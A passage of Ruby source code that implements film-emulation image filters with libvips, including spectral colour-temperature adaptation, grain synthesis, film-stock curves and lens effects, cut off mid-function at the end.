profile[\"vibrance\"] * 0.1], [0])\n    end\n\n    if profile[\"base_tint\"]\n      result = base_tint(result, profile[\"base_tint\"], 0.1)\n    end\n\n    safe_cast(result)\n  rescue StandardError =&gt; e\n    $logger.error \"Camera profile failed: #{e.message}\"\n    image\n  end\nend\n\n# Spectral chromatic adaptation. Black-body physics, not ad-hoc R/G/B\n# multipliers. Each pixel's RGB is upsampled to a 31-sample spectrum via a\n# Gaussian basis calibrated so that under D65 the round-trip is identity;\n# then reweighted by I_target/I_source (Planck's law); then re-integrated\n# against CIE 1931 2\u00b0 CMFs and projected to sRGB. All steps are linear, so\n# they collapse to a single 3\u00d73 matrix at runtime \u2014 applied via recomb in\n# linear scrgb space.\nmodule Spectral\n  WAVELENGTHS = (400..700).step(10).to_a.freeze\n  DELTA = 10.0\n\n  CMF_X = [0.0143, 0.0435, 0.1344, 0.2839, 0.3483, 0.3362, 0.2908, 0.1954,\n           0.0956, 0.0320, 0.0049, 0.0093, 0.0633, 0.1655, 0.2904, 0.4334,\n           0.5945, 0.7621, 0.9163, 1.0263, 1.0622, 1.0026, 0.8544, 0.6424,\n           0.4479, 0.2835, 0.1649, 0.0874, 0.0468, 0.0227, 0.0114].freeze\n  CMF_Y = [0.0004, 0.0012, 0.0040, 0.0116, 0.0230, 0.0380, 0.0600, 0.0910,\n           0.1390, 0.2080, 0.3230, 0.5030, 0.7100, 0.8620, 0.9540, 0.9950,\n           0.9950, 0.9520, 0.8700, 0.7570, 0.6310, 0.5030, 0.3810, 0.2650,\n           0.1750, 0.1070, 0.0610, 0.0320, 0.0170, 0.0082, 0.0041].freeze\n  CMF_Z = [0.0679, 0.2074, 0.6456, 1.3856, 1.7471, 1.7721, 1.6692, 1.2876,\n           0.8130, 0.4652, 0.2720, 0.1582, 0.0782, 0.0422, 0.0203, 0.0087,\n           0.0039, 0.0021, 0.0017, 0.0011, 0.0008, 0.0003, 0.0002, 0.0000,\n           0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000].freeze\n\n  XYZ_TO_SRGB = [[ 3.2406, -1.5372, -0.4986],\n                 [-0.9689,  1.8758,  0.0415],\n                 [ 0.0557, -0.2040,  1.0570]].freeze\n\n  PLANCK_C1 = 2 * 6.62607015e-34 * (2.99792458e8)**2\n  PLANCK_C2 = 6.62607015e-34 * 2.99792458e8 / 1.380649e-23\n  D65_KELVIN = 6504.0\n  PRIMARY_CENTERS = [611.0, 549.0, 464.0].freeze\n  PRIMARY_SIGMA = 30.0\n  CACHE = {}\n\n  module_function\n\n  def planckian(kelvin)\n    WAVELENGTHS.map do |nm|\n      l = nm * 1e-9\n      PLANCK_C1 / (l**5 * (Math.exp(PLANCK_C2 / (l * kelvin)) - 1))\n    end\n  end\n\n  def normalize_to_y1(spd)\n    y = spd.zip(CMF_Y).sum { |s, c| s * c } * DELTA\n    spd.map { |v| v / y }\n  end\n\n  def gaussian_basis\n    PRIMARY_CENTERS.map do |c|\n      WAVELENGTHS.map { |\u03bb| Math.exp(-(\u03bb - c)**2 / (2 * PRIMARY_SIGMA**2)) }\n    end\n  end\n\n  def spd_to_xyz(spd, illuminant)\n    weighted = spd.each_with_index.map { |s, i| s * illuminant[i] }\n    [CMF_X, CMF_Y, CMF_Z].map { |cmf| weighted.zip(cmf).sum { |w, c| w * c } * DELTA }\n  end\n\n  def matvec3(m, v)\n    (0..2).map { |i| (0..2).sum { |j| m[i][j] * v[j] } }\n  end\n\n  def inv3(m)\n    a, b, c = m[0]; d, e, f = m[1]; g, h, i = m[2]\n    det = a * (e * i - f * h) - b * (d * i - f * g) + c * (d * h - e * g)\n    raise \"singular\" if det.abs &lt; 1e-12\n    inv = 1.0 / det\n    [[(e * i - f * h) * inv, (c * h - b * i) * inv, (b * f - c * e) * inv],\n     [(f * g - d * i) * inv, (a * i - c * g) * inv, (c * d - a * f) * inv],\n     [(d * h - e * g) * inv, (b * g - a * h) * inv, (a * e - b * d) * inv]]\n  end\n\n  def calibrated_basis\n    CACHE[:basis] ||= begin\n      raw = gaussian_basis\n      d65 = normalize_to_y1(planckian(D65_KELVIN))\n      cols = raw.map { |b| matvec3(XYZ_TO_SRGB, spd_to_xyz(b, d65)) }\n      m = [[cols[0][0], cols[1][0], cols[2][0]],\n           [cols[0][1], cols[1][1], cols[2][1]],\n           [cols[0][2], cols[1][2], cols[2][2]]]\n      m_inv = inv3(m)\n      (0..2).map do |j|\n        WAVELENGTHS.each_index.map do |\u03bbi|\n          (0..2).sum { |k| m_inv[j][k] * raw[k][\u03bbi] }\n        end\n      end\n    end\n  end\n\n  def integration_matrix(illuminant)\n    basis = calibrated_basis\n    (0..2).map do |i|\n      (0..2).map do |j|\n        WAVELENGTHS.each_index.sum do |\u03bbi|\n          xyz_dot = XYZ_TO_SRGB[i][0] * CMF_X[\u03bbi] +\n                    XYZ_TO_SRGB[i][1] * CMF_Y[\u03bbi] +\n                    XYZ_TO_SRGB[i][2] * CMF_Z[\u03bbi]\n          basis[j][\u03bbi] * illuminant[\u03bbi] * xyz_dot * DELTA\n        end\n      end\n    end\n  end\n\n  def matmul3(a, b)\n    (0..2).map { |i| (0..2).map { |j| (0..2).sum { |k| a[i][k] * b[k][j] } } }\n  end\n\n  def adaptation_matrix(source_kelvin, target_kelvin)\n    src = normalize_to_y1(planckian(source_kelvin))\n    tgt = normalize_to_y1(planckian(target_kelvin))\n    matmul3(integration_matrix(tgt), inv3(integration_matrix(src)))\n  end\nend\n\ndef spectral_temp(image, source_kelvin: 5500, target_kelvin: 6504, intensity: 1.0)\n  matrix = Spectral.adaptation_matrix(source_kelvin, target_kelvin)\n  linear = image.colourspace(\"scrgb\")\n  graded = linear.recomb(matrix)\n  blended = linear * (1.0 - intensity) + graded * intensity\n  safe_cast(blended.colourspace(\"srgb\"))\nend\n\ndef color_temp(image, kelvin, intensity = 1.0)\n  factor = kelvin / 5500.0\n  r_mult, g_mult, b_mult = if factor &lt; 1.0\n                             [1.0, factor**0.5, factor**2]\n                           else\n                             [factor**-0.3, 1.0, 1.0 + (factor - 1.0) * 0.5]\n                           end\n  safe_cast(image.linear([\n    1.0 + (r_mult - 1.0) * intensity,\n    1.0 + (g_mult - 1.0) * intensity,\n    1.0 + (b_mult - 1.0) * intensity\n  ], [0, 0, 0]))\nend\n\ndef skin_protect(image, intensity = 1.0)\n  hsv = image.colourspace('hsv')\n  h, s, v = hsv.bandsplit\n\n  hue_mask = (h &gt; 25.5) &amp; (h &lt; 63.75)\n  sat_mask = (s &gt; 51) &amp; (s &lt; 153)\n  skin_mask = hue_mask &amp; sat_mask\n\n  protection = skin_mask.cast('float') / 255.0 * (1.0 - intensity * 0.7)\n  protection_rgb = protection.bandjoin([protection, protection])\n  inv_protection = protection_rgb.linear(-1, 1)\n\n  safe_cast(image * inv_protection + image * protection_rgb)\nend\n\ndef film_curve(image, stock = :kodak_portra, intensity = 1.0)\n  data      = STOCKS[stock] || STOCKS[:kodak_portra]\n  developed = HD.apply(image, data)\n  safe_cast(image * (1 - intensity) + developed * intensity)\nend\n\ndef highlight_roll(image, threshold = 200, intensity = 1.0)\n  mask = image &gt; threshold\n  over_exposed = image - threshold\n  rolled_off = ((over_exposed * 0.3) ** 0.7) + threshold\n  result = mask.ifthenelse(rolled_off, image)\n  safe_cast(image * (1 - intensity) + result * intensity)\nend\n\ndef shadow_lift(image, lift = 0.15, preserve_blacks = true)\n  gray = image.colourspace('b-w').cast('float') / 255.0\n  inv_gray    = gray.linear(-1, 1)\n  shadow_mask = preserve_blacks ? (inv_gray ** 2.0) * 0.8 : inv_gray * lift\n  lift_rgb = shadow_mask.bandjoin([shadow_mask, shadow_mask])\n  safe_cast(image + lift_rgb * 255 * lift)\nend\n\ndef micro_contrast(image, radius = 5, intensity = 0.3)\n  blurred = image.gaussblur(radius)\n  high_pass = image - blurred\n  safe_cast(image + high_pass * intensity)\nend\n\ndef color_separate(image, intensity = 0.6)\n  r, g, b = image.bandsplit\n\n  r_diff = r - (g * 0.08 * intensity) - (b * 0.05 * intensity)\n  g_diff = g - (r * 0.06 * intensity) - (b * 0.10 * intensity)\n  b_diff = b - (r * 0.04 * intensity) - (g * 0.07 * intensity)\n  r_clean = (r_diff &gt; 0).ifthenelse(r_diff, 0)\n  g_clean = (g_diff &gt; 0).ifthenelse(g_diff, 0)\n  b_clean = (b_diff &gt; 0).ifthenelse(b_diff, 0)\n\n  separated = Vips::Image.bandjoin([r_clean, g_clean, b_clean])\n  safe_cast(image * (1 - intensity) + separated * intensity)\nend\n\nGRAIN_CELL_BASE = 4.0  # base Perlin cell size in px \u2014 larger = coarser grain\nGRAIN_AMP_SCALE = 400.0 # amplitude denominator, tuned for scRGB [0,1] space\n# 3-tap horizontal convolution kernel for grain anisotropy (film transport direction).\n# Film grain is slightly elongated along the direction of film travel \u2014 this\n# kernel applies a subtle horizontal elongation without visible smearing.\nGRAIN_ANISO_KERNEL = Vips::Image.new_from_array([[0.18, 0.64, 0.18]]).freeze\n\n# Perlin + fractsurf grain with horizontal anisotropy and shadow-weighted envelope.\n# Perlin (70%) gives crystalline cluster structure; fractsurf (30%) adds multi-scale\n# fBm detail. The midtone envelope 4L^0.8(1-L) peaks slightly toward the shadow\n# side of mid-gray, matching real halide clump statistics. A mild horizontal\n# directional kernel elongates grain clusters along the film-transport axis.\ndef grain(image, iso = 400, stock = :kodak_portra, intensity = 0.4)\n  data      = STOCKS[stock] || STOCKS[:kodak_portra]\n  scales    = GRAIN_CHAN_SCALE[stock] || [1.0, 1.0, 1.0]\n  sublayers = data[:sublayers] || [{ sensitivity_shift: 0.0, grain_scale: 1.0, weight: 1.0 }]\n  iso_factor     = Math.sqrt(iso / 100.0)\n  base_amplitude = data[:grain] * iso_factor * intensity / GRAIN_AMP_SCALE\n\n  linear = image.colourspace(\"scrgb\")\n  r, g, b = linear.bandsplit\n  luma = r * 0.2126 + g * 0.7152 + b * 0.0722\n  # Shadow-biased envelope: luma^0.8 shifts peak toward shadows vs symmetric 4L(1-L)\n  envelope = (luma.linear([1], [0]).pow(0.80) * luma.linear([-1], [1])).linear([4], [0])\n\n  # Lognormal cluster field: silver halide crystals cluster in groups whose\n  # amplitude follows a lognormal distribution. exp(gaussian_noise) produces\n  # the characteristic long-tail clumping seen in real emulsion grain scans.\n  cluster_sigma = [GRAIN_CELL_BASE * 2.5, 1.0].max\n  cluster_field = Vips::Image.gaussnoise(image.width, image.height, sigma: GRAIN_LOGNORM_SIGMA, mean: 0.0)\n                             .gaussblur(cluster_sigma).exp\n                             .linear([1.0 / GRAIN_LOGNORM_MEAN], [0])\n\n  bands = scales.each_with_index.map do |chan_scale, ci|\n    sp = [GRAIN_CELL_BASE * GRAIN_CHANNEL_SPATIAL[ci] * 0.7, 0.3].max\n    sublayers.map do |sl|\n      cell      = [GRAIN_CELL_BASE * (2.0**sl[:sensitivity_shift]) * sl[:grain_scale], 1.5].max.round\n      amplitude = base_amplitude * chan_scale * sl[:grain_scale] * sl[:weight]\n      perlin    = Vips::Image.perlin(image.width, image.height, cell_size: cell)\n      fractal   = Vips::Image.fractsurf(image.width, image.height, 2.5)\n      raw       = (perlin * 0.70 + fractal * 0.30)\n      # Anisotropy: slight horizontal elongation along film-transport axis\n      aniso     = raw.conv(GRAIN_ANISO_KERNEL, precision: :float)\n      clustered = (raw * 0.55 + aniso * 0.45) * cluster_field\n      clustered.gaussblur(sp).linear([amplitude], [0.0])\n    end.reduce(:+)\n  end\n\n  noise = Vips::Image.bandjoin(bands)\n  safe_cast((linear + noise * envelope).colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"grain failed: #{e.message}\"; image\nend\n\ndef base_tint(image, color = [252, 248, 240], intensity = 0.08)\n  overlay = Vips::Image.black(image.width, image.height, bands: 3) + color\n  overlay_norm = overlay.cast('float') / 255.0\n  image_norm = image.cast('float') / 255.0\n\n  inv_image   = image_norm.linear(-1, 1)\n  inv_overlay = overlay_norm.linear(-1, 1)\n  multiply    = image_norm * overlay_norm * 2\n  screen      = (inv_image * inv_overlay).linear(-2, 1)\n  result      = (overlay_norm &lt; 0.5).ifthenelse(multiply, screen)\n\n  blended = result * 255\n  safe_cast(image * (1 - intensity) + blended * intensity)\nend\n\ndef vintage_lens(image, type = \"zeiss\", intensity = 0.7)\n  spec = LENSES[type.to_sym] || LENSES[:zeiss]\n  result = image\n  result = micro_contrast(result, 4, spec[:micro_contrast] * intensity) if spec[:micro_contrast]\n  if spec[:glow]\n    glow = image.gaussblur(20) * (spec[:glow] * intensity)\n    result = safe_cast(result + glow)\n  end\n  if spec[:chroma]\n    shift = [(spec[:chroma] * intensity * 6).round, 1].max\n    r, g, b = result.bandsplit\n    r = r.embed(shift, 0, result.width, result.height)\n    b = b.embed(-shift, 0, result.width, result.height)\n    result = safe_cast(Vips::Image.bandjoin([r, g, b]))\n  end\n  result = warmth(result, spec[:warmth] * intensity) if spec[:warmth]\n  result\nrescue StandardError =&gt; e\n  $logger.error \"vintage_lens failed: #{e.message}\"\n  image\nend\n\ndef desaturate(image, amount = 0.5)\n  gray = image.colourspace(\"grey16\").colourspace(\"srgb\")\n  safe_cast(image * (1.0 - amount) + gray * amount)\nrescue StandardError =&gt; e\n  $logger.error \"desaturate failed: #{e.message}\"\n  image\nend\n\n# Gentle warm color push: R+, G mild+, B-. Stays subtle \u2014 use amount \u2264 0.3.\ndef warmth(image, amount = 0.2)\n  image.linear(\n    [1.0 + 0.30 * amount, 1.0 + 0.08 * amount, 1.0 - 0.18 * amount],\n    [0, 0, 0]\n  ).then { |r| safe_cast(r) }\nrescue StandardError =&gt; e\n  $logger.error \"warmth failed: #{e.message}\"\n  image\nend\n\n# Desaturated green push for horror / cold clinical grades.\ndef green_push(image, amount = 0.15)\n  image.linear(\n    [1.0 - amount * 0.50, 1.0 + amount, 1.0 - amount * 0.30],\n    [0, 0, 0]\n  ).then { |r| safe_cast(r) }\nrescue StandardError =&gt; e\n  $logger.error \"green_push failed: #{e.message}\"\n  image\nend\n\n# OLPF (optical low-pass filter) simulation. Two-gaussian PSF: sharp core (84%)\n# + wide skirt (16%) matches the Lorentzian wings measured on real lens MTFs.\ndef optical_blur(image, sigma = 0.6)\n  core = image.gaussblur([sigma * 0.6, 0.3].max)\n  skirt = image.gaussblur([sigma * 2.8, 0.5].max)\n  safe_cast(core.cast(\"float\") * 0.84 + skirt.cast(\"float\") * 0.16)\nrescue StandardError =&gt; e\n  $logger.error \"optical_blur: #{e.message}\"; image\nend\n\n# Emulsion depth defocus: each dye layer sits at a different depth in the\n# multilayer emulsion stack. Blue layer (top, nearest lens) is sharpest;\n# red (deepest) sees the most focus spread from incident + substrate-reflected\n# light. focal_plane_offset is stock-specific \u2014 cinestill_800t (remjet removed)\n# has the most scatter; slow daylight stocks have little.\ndef emulsion_defocus(image, stock = :kodak_portra)\n  data   = STOCKS[stock] || STOCKS[:kodak_portra]\n  offset = data.fetch(:focal_plane_offset, 1.0)\n  r, g, b = image.bandsplit\n  r2 = offset &gt; 0 ? safe_cast(r.gaussblur(0.6 * offset)) : r\n  g2 = offset &gt; 0 ? safe_cast(g.gaussblur(0.3 * offset)) : g\n  safe_cast(Vips::Image.bandjoin([r2, g2, b]))\nrescue StandardError =&gt; e\n  $logger.error \"emulsion_defocus: #{e.message}\"; image\nend\n\n# Lateral + longitudinal chromatic aberration. Lateral: R/B registration shift\n# at sensor edges. Longitudinal: wavelength-dependent focus depth \u2014 blue blurs\n# before the focal plane, red sharpest (as in `longitudinal_ca`).\ndef chromatic_aberration(image, strength = 0.5)\n  shift = [(strength * 3.0).round, 1].max\n  r, g, b = image.bandsplit\n  r2 = r.embed(shift, 0, image.width, image.height)\n  b2 = b.embed(-shift, 0, image.width, image.height)\n  long_sigma = [strength * 0.9, 0.3].max\n  r3 = r2.gaussblur([long_sigma * 0.35, 0.3].max)\n  b3 = b2.gaussblur([long_sigma, 0.3].max)\n  safe_cast(Vips::Image.bandjoin([r3, g, b3]))\nrescue StandardError =&gt; e\n  $logger.error \"chromatic_aberration: #{e.message}\"; image\nend\n\n# DIR coupler inhibition: development byproducts from one dye layer inhibit\n# adjacent layers, slightly desaturating pure hues and sharpening edges.\ndef dir_coupler(image, strength = 0.15)\n  blurred   = image.gaussblur(2.0)\n  high_pass = image.cast(\"float\") - blurred.cast(\"float\")\n  gray      = image.colourspace(\"grey16\").colourspace(\"srgb\").cast(\"float\")\n  img_f     = image.cast(\"float\") / 255.0\n  # Lateral inhibition: each dye layer's development byproducts diffuse \u03c3\u22480.8px\n  # and suppress adjacent layers \u2014 desaturates pure hues, sharpens colour edges.\n  r_d, g_d, b_d = img_f.bandsplit.map { |ch| ch.gaussblur(0.8) }\n  inhibition = Vips::Image.bandjoin([\n    r_d - g_d * (0.08 * strength) - b_d * (0.04 * strength),\n    g_d - r_d * (0.12 * strength) - b_d * (0.07 * strength),\n    b_d - r_d * (0.06 * strength) - g_d * (0.10 * strength)\n  ])\n  inhibited = clamp01(inhibition) * 255.0\n  desatd = inhibited * (1.0 - strength * 0.3) + gray * (strength * 0.3)\n  safe_cast((desatd + high_pass * (strength * 0.5)).cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"dir_coupler: #{e.message}\"; image\nend\n\n# Bleach bypass: skip bleach step, retain silver alongside dye. Screen-blend of\n# a B&amp;W layer over the colour image. Shadow neutral lift models the base silver\n# density \u2014 retained metallic silver adds a grey floor to the darkest zones.\ndef bleach_bypass(image, intensity = 0.5)\n  img_f  = image.cast(\"float\") / 255.0\n  gray_f = image.colourspace(\"grey16\").colourspace(\"srgb\").cast(\"float\") / 255.0\n  screen = (img_f.linear(-1, 1) * gray_f.linear(-1, 1)).linear(-1, 1)\n  shadow_base = gray_f.linear(-1, 1) ** 2.0 * intensity * 0.18\n  base_rgb = shadow_base.bandjoin([shadow_base, shadow_base])\n  result = img_f * (1.0 - intensity) + screen * intensity + base_rgb * intensity\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"bleach_bypass: #{e.message}\"; image\nend\n\n# Push/pull processing. Per-stock per-channel response: blue dye layer develops\n# faster under push (reaches Dmax sooner), so PUSH_RESPONSE attenuates it to\n# match measured sensitometry curves for each stock.\ndef push_pull(image, stops = 1.0, stock = :kodak_portra)\n  resp   = PUSH_RESPONSE[stock] || { g: 1.00, b: 0.94 }\n  linear = image.colourspace(\"scrgb\")\n  factor = 2.0**stops\n  r, g, b = linear.bandsplit\n  adj = Vips::Image.bandjoin([\n    clamp01(r * factor),\n    clamp01(g * factor * resp[:g]),\n    clamp01(b * factor * resp[:b])\n  ])\n  if stops &gt; 0\n    shadow_add = adj.linear(-1, 1) ** 2.0 * (stops * 0.04)\n    adj = clamp01(adj + shadow_add)\n  end\n  safe_cast(adj.colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"push_pull: #{e.message}\"; image\nend\n\n# Split toning: shadow and highlight color casts weighted by luminance.\n# shadow_rgb / hi_rgb are [R,G,B] triplets in 0-255.\ndef split_toning(image, shadow_rgb = [45, 35, 60], hi_rgb = [255, 240, 210], intensity = 0.30)\n  luma  = image.colourspace(\"b-w\").cast(\"float\") / 255.0\n  img_f = image.cast(\"float\") / 255.0\n  s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast(\"float\") / 255.0\n  h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast(\"float\") / 255.0\n  s_w   = luma.linear(-1, 1) * intensity * 0.55\n  h_w   = luma               * intensity * 0.55\n  result = img_f + (s_clr - img_f) * s_w + (h_clr - img_f) * h_w\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"split_toning: #{e.message}\"; image\nend\n\n# Three-way color corrector: independent shadow / midtone / highlight casts.\ndef split_grade(image, shadow_rgb = [30, 40, 60], mid_rgb = [255, 255, 248], hi_rgb = [255, 245, 220], intensity: 0.25)\n  luma  = image.colourspace(\"b-w\").cast(\"float\") / 255.0\n  img_f = image.cast(\"float\") / 255.0\n  s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast(\"float\") / 255.0\n  m_clr = (Vips::Image.black(image.width, image.height, bands: 3) + mid_rgb).cast(\"float\") / 255.0\n  h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast(\"float\") / 255.0\n  s_w = (luma.linear(-1, 1) ** 2.0) * intensity * 0.5\n  m_w = (luma * luma.linear(-1, 1) * 4.0)  * intensity * 0.5\n  h_w = (luma ** 2.0)                       * intensity * 0.5\n  result = img_f + (s_clr - img_f) * s_w + (m_clr - img_f) * m_w + (h_clr - img_f) * h_w\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"split_grade: #{e.message}\"; image\nend\n\n# Film base density: multiplicative dye-density layer that shifts both color\n# and overall density \u2014 warmer and slightly darker than a simple tint.\ndef dual_base_density(image, color = [255, 248, 235], opacity = 0.07)\n  r_m, g_m, b_m = color.map { |c| c / 255.0 }\n  img_f      = image.cast(\"float\") / 255.0\n  multiplied = img_f.linear([r_m, g_m, b_m], [0, 0, 0])\n  result     = img_f * (1.0 - opacity) + multiplied * opacity\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"dual_base_density: #{e.message}\"; image\nend\n\n# Reciprocity failure: long exposures exhibit non-linear response \u2014 blue\n# channel lags most. Per-stock shifts from RECIPROCITY_SHIFT calibrate the\n# green-magenta crossover and blue lag to measured sensitometry data.\ndef reciprocity_failure(image, exposure_seconds = 10.0, stock = :cinestill_800t)\n  ev   = Math.log2([exposure_seconds, 1.0].max) / 10.0\n  cs   = RECIPROCITY_SHIFT[stock] || RECIPROCITY_SHIFT[:cinestill_800t]\n  linear = image.colourspace(\"scrgb\")\n  r, g, b = linear.bandsplit\n  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722\n  dark_w  = luma.linear(-1, 1)\n  result  = Vips::Image.bandjoin([\n    r + dark_w * ev * 0.03 + (ev * cs[:r]),\n    g + dark_w * ev * 0.02 + (ev * cs[:g]),\n    b + (ev * 0.15) + dark_w * ev * 0.05 + (ev * cs[:b])\n  ])\n  safe_cast(clamp01(result).colourspace(\"srgb\"))\nrescue StandardError =&gt; e\n  $logger.error \"reciprocity_failure: #{e.message}\"; image\nend\n\n# Dreamy soft cross-fade: soft-light blend of a blurred copy over the image.\ndef cross_fade(image, intensity = 0.4)\n  blur_f = image.gaussblur(12.0).cast(\"float\") / 255.0\n  img_f  = image.cast(\"float\") / 255.0\n  screen = (img_f.linear(-1, 1) * blur_f.linear(-1, 1)).linear(-1, 1)\n  soft   = (blur_f &lt; 0.5).ifthenelse(img_f * blur_f * 2.0, screen)\n  result = img_f * (1.0 - intensity) + soft * intensity\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"cross_fade: #{e.message}\"; image\nend\n\n# Infrared simulation: green channel \u2192 bright (foliage), blue \u2192 dark (sky).\n# Heavy green mix approximates IR film's extended-red/near-IR sensitivity.\ndef infrared(image, intensity = 0.8)\n  r, g, b = image.cast(\"float\").bandsplit\n  ir  = r * 0.20 + g * 0.80 + (b &gt; 0).ifthenelse(b, 0).linear(-1, 0) * 0.15\n  ir  = (ir &gt; 0).ifthenelse(ir, 0)\n  glow = ir.gaussblur(8.0) * 0.25\n  ir3 = Vips::Image.bandjoin([ir + glow, ir + glow, ir + glow])\n  result = image.cast(\"float\") * (1.0 - intensity) + ir3 * intensity\n  safe_cast(result.cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"infrared: #{e.message}\"; image\nend\n\n# Cyanotype alt-process: Prussian blue shadows [0,52,102] to white highlights.\ndef cyanotype(image, intensity = 0.90)\n  shadow = [0, 52, 102]\n  luma   = image.colourspace(\"b-w\").cast(\"float\") / 255.0\n  r = luma * (255 - shadow[0]) + shadow[0]\n  g = luma * (255 - shadow[1]) + shadow[1]\n  b = luma * (255 - shadow[2]) + shadow[2]\n  cyan   = Vips::Image.bandjoin([r, g, b])\n  result = image.cast(\"float\") * (1.0 - intensity) + cyan * intensity\n  safe_cast(result.cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"cyanotype: #{e.message}\"; image\nend\n\n# Lith printing: aggressive contrast, warm sepia shadows, near-white highlights.\ndef lith_print(image, intensity = 0.80)\n  gray = image.colourspace(\"b-w\").cast(\"float\") / 255.0\n  hi   = clamp01(gray ** 0.55 * 1.1)\n  s_w  = (gray.linear(-1, 1) ** 2.0) * 255.0\n  r    = hi * 255.0 + s_w * 0.12\n  g    = hi * 255.0 - s_w * 0.04\n  b    = hi * 255.0 - s_w * 0.16\n  lith = Vips::Image.bandjoin([r, g, b])\n  result = image.cast(\"float\") * (1.0 - intensity) + lith * intensity\n  safe_cast(result.cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"lith_print: #{e.message}\"; image\nend\n\n# Technicolor 3-strip: per-channel strip registration offset + heavy dye saturation.\ndef technicolor(image, intensity = 0.60)\n  r, g, b = image.bandsplit\n  r2 = r.embed(1, 0, image.width, image.height)\n  b2 = b.embed(-1, 1, image.width, image.height)\n  combined = Vips::Image.bandjoin([r2, g, b2])\n  hsv = combined.colourspace(\"hsv\")\n  h, s, v = hsv.bandsplit\n  s_hi = safe_cast(s.linear([1.0 + intensity * 0.7], [0]))\n  boosted = Vips::Image.bandjoin([h, s_hi, v]).colourspace(\"srgb\")\n  safe_cast((image.cast(\"float\") * (1.0 - intensity) + boosted.cast(\"float\") * intensity).cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"technicolor: #{e.message}\"; image\nend\n\n# Kodachrome simulation: steep per-channel H&amp;D curve + external coupler saturation.\ndef kodachrome_sim(image, intensity = 0.70)\n  result = film_curve(image, :kodachrome, intensity * 0.85)\n  hsv    = result.colourspace(\"hsv\")\n  h, s, v = hsv.bandsplit\n  s_hi = safe_cast(s.linear([1.0 + intensity * 0.45], [0]))\n  v_hi = safe_cast(v.linear([1.0 + intensity * 0.08], [0]))\n  saturated = Vips::Image.bandjoin([h, s_hi, v_hi]).colourspace(\"srgb\")\n  safe_cast((result.cast(\"float\") * (1.0 - intensity * 0.25) +\n             saturated.cast(\"float\") * intensity * 0.25).cast(\"uchar\"))\nrescue StandardError =&gt; e\n  $logger.error \"kodachrome_sim: #{e.message}\"; image\nend\n\n# Aged photographic print with differential dye fading. Cyan is least stable \u2014\n# absorbs visible light, degrades fastest \u2192 warm shift. Yellow moderate.\n# Magenta most stable. Contrast compression + shadow floor models paper base fog.\ndef faded_print(image, age = 0.5)\n  img_f = image.cast(\"float\") / 255.0\n  r, g, b = img_f.bandsplit\n  cyan_fade   = age * 0.65\n  yellow_fade = age * 0.28\n  r_faded = clamp01(r + cyan_fade * 0.22 + age * 0.06)\n  g_faded = clamp01(g + age * 0.04)\n  b_faded = clamp01(b * (1.0 - yellow_fade * 0.20) + yellow_fade * 0.05)\n  comp = 1.0 - age * 0.28\n  r_out = r_faded * comp + age * 0.07\n  g_out = g_faded * comp + age * 0.045\n  b_out = b_faded * comp + age * 0.02\n  result = Vips::Image.bandjoin([r_out, g_out, b_out])\n  result = result.gaussblur(age * 0.9) if age &gt; 0.3\n  safe_cast(clamp01(result) * 255.0)\nrescue StandardError =&gt; e\n  $logger.error \"faded_print: #{e.message}\"; image\nend\n\n# Adjacency / Eberhard effect: developer exhaustion at bright edges creates a\n# dark inhibition band on the bright side and a slight bright band on the dark side.\n# Physically: development byproducts diffuse outward and locally suppress nearby\n# grains. Subtract a fraction of the high-pass edge signal \u2192 local undershoot.\ndef adjacency_effects(image, intensity = 0.25)\n  blurred = image.gaussblur(1.8)\n  edge    = image.cast(\"float\") - blurred.cast(\"float\")\n  result  = clamp01((image.cast(\"float\") - edge * (intensity * 0.45)) / 255.0) * 255.0\n  safe_cast(result)\nrescue StandardError =&gt; e\n  $logger.error \"adjacency_effects: #{e.message}\"; image\nend\n\n# Longitudinal (axial) chromatic aberration: wavelengths focus at different depths.\n# Blue focuses short of the plane; green slightly soft; red sharpest at the focal plane.\ndef longitudinal_ca(image, strength = 0.50)\n  r, g, b = image.bandsplit\n  g2 = g.gaussblur([0.4 * strength, 0.3].max)\n  b2 = b.gaussblur([0.9 * strength, 0.3].max)\n  safe_cast(Vips::Image.bandjoin([r, g2, b2]))\nrescue StandardError =&gt; e\n  $logger.error \"longitudinal_ca: #{e.message}\"; image\nend\n\n# Radial lens distortion via mapim. k1 &lt; 0 = barrel (wide-angle); k1 &gt; 0 = pincushion.\n# First-order Brown-Conrady model \u2014 single coefficient, adequate for cinematic emulation.\ndef lens_distortion(image, k1 = -0.12)\n  w, h   = image.width, image.height\n  cx, cy = w / 2.0, h / 2.0\n  idx    = Vips::Image.xyz(w, h)\n  xn     = (idx.extract_band(0).cast(\"float\") - cx) / cx\n  yn     = (idx.extract_band(1).cast(\"float\") - cy) / cy\n  r2     = xn * xn + yn * yn\n  factor = r2.linear([k1], [1.0])\n  xs     = (xn * factor * cx + cx).cast(\"float\")\n  ys     = (yn * factor * cy + cy).cast(\"float\")\n  image.mapim(Vips::Image.bandjoin([xs, ys]))\nrescue StandardError =&gt; e\n  $logger.error \"lens_distortion: #{e.message}\"; image\nend\n\n# Bokeh highlight ring structure: out-of-focus highlights from lens element edges\n# produce an onion-ring artifact. Detected by finding the bright-disk edge and\n# adding a warm ring there. Red dominant \u2014 lens coatings transmit red more at edges.\ndef bokeh_rendering(image, intensity = 0.35)\n  linear  = image.colourspace(\"scrgb\")\n  r, g, b = linear.bandsplit\n  luma    = r * 0.2126 + g * 0.7152 + b * 0.0722\n  bright  = (luma 